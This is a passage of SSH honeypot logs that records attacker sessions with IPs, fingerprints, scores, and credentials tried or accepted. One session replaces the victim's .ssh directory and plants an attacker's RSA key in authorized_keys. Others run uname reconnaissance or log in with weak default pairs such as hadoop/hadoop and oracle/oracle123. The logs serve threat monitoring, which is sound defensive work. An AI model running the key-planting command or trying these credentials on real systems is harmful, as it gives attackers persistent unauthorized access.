      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

4.206.92.183

2026-10-09 22:31:57.453682 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: admin / test

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 6da78df0940d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6da78df0940d",
  "src_ip": "4.206.92.183",
  "start_time": "2026-10-09T22:31:57.453682Z",
  "end_time": "2026-10-09T22:32:00.721552Z",
  "duration": "3.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "test"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

120.48.124.81

2026-10-09 22:31:15.319849 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ed8747426be0

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "ed8747426be0",
  "src_ip": "120.48.124.81",
  "start_time": "2026-10-09T22:31:15.319849Z",
  "end_time": "2026-10-09T22:33:15.335762Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

90.14.24.6

2026-10-09 22:30:58.422916 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0e04565e09d0

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "0e04565e09d0",
  "src_ip": "90.14.24.6",
  "start_time": "2026-10-09T22:30:58.422916Z",
  "end_time": "2026-10-09T22:30:58.425169Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

38.22.169.6

2026-10-09 22:30:24.241826 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / hadoop

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: f88a8cd5179e

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "f88a8cd5179e",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:30:24.241826Z",
  "end_time": "2026-10-09T22:30:24.905492Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "hadoop"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

183.201.208.25

2026-10-09 22:30:10.181008 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a3d4fa1a7bbb

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a3d4fa1a7bbb",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:30:10.181008Z",
  "end_time": "2026-10-09T22:32:10.192052Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

90.14.24.6

2026-10-09 22:29:58.992305 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7f0b59e47460

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "7f0b59e47460",
  "src_ip": "90.14.24.6",
  "start_time": "2026-10-09T22:29:58.992305Z",
  "end_time": "2026-10-09T22:29:58.995753Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

173.181.70.239

2026-10-09 22:29:52.307877 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 69090a0341a2

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "69090a0341a2",
  "src_ip": "173.181.70.239",
  "start_time": "2026-10-09T22:29:52.307877Z",
  "end_time": "2026-10-09T22:29:52.311123Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-10-09 22:29:23.264450 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 580f05d9fb42

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "580f05d9fb42",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-09T22:29:23.264450Z",
  "end_time": "2026-10-09T22:29:24.485417Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

183.201.208.25

2026-10-09 22:27:54.192196 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: bb628a30ecf1

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "bb628a30ecf1",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:27:54.192196Z",
  "end_time": "2026-10-09T22:29:54.198763Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

38.22.169.6

2026-10-09 22:27:16.477407 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / oracle123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 07450f0c136a

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "07450f0c136a",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:27:16.477407Z",
  "end_time": "2026-10-09T22:27:17.142559Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "oracle123"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

173.181.70.239

2026-10-09 22:26:49.318429 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4c29c0df30cb

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "4c29c0df30cb",
  "src_ip": "173.181.70.239",
  "start_time": "2026-10-09T22:26:49.318429Z",
  "end_time": "2026-10-09T22:26:49.338259Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

183.201.208.25

2026-10-09 22:25:41.133485 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 75a73817f799

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "75a73817f799",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:25:41.133485Z",
  "end_time": "2026-10-09T22:27:41.161777Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

38.22.169.6

2026-10-09 22:24:12.499323 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: loginuser

Record ID: a284399f78d6

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "a284399f78d6",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:24:12.499323Z",
  "end_time": "2026-10-09T22:24:13.929802Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "loginuser",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

183.201.208.25

2026-10-09 22:23:31.634569 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: eca671e0d035

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "eca671e0d035",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:23:31.634569Z",
  "end_time": "2026-10-09T22:25:31.666786Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

2.57.121.25

2026-10-09 22:22:43.478690 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / z1z1z1

Record ID: 7ca9d9a15abf

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "7ca9d9a15abf",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-09T22:22:43.478690Z",
  "end_time": "2026-10-09T22:22:49.485925Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "z1z1z1"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

38.22.169.6

2026-10-09 22:21:13.911050 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: loginuser

Record ID: 630f661279ae

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "630f661279ae",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:21:13.911050Z",
  "end_time": "2026-10-09T22:21:15.342125Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "loginuser",
      "pass": "12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}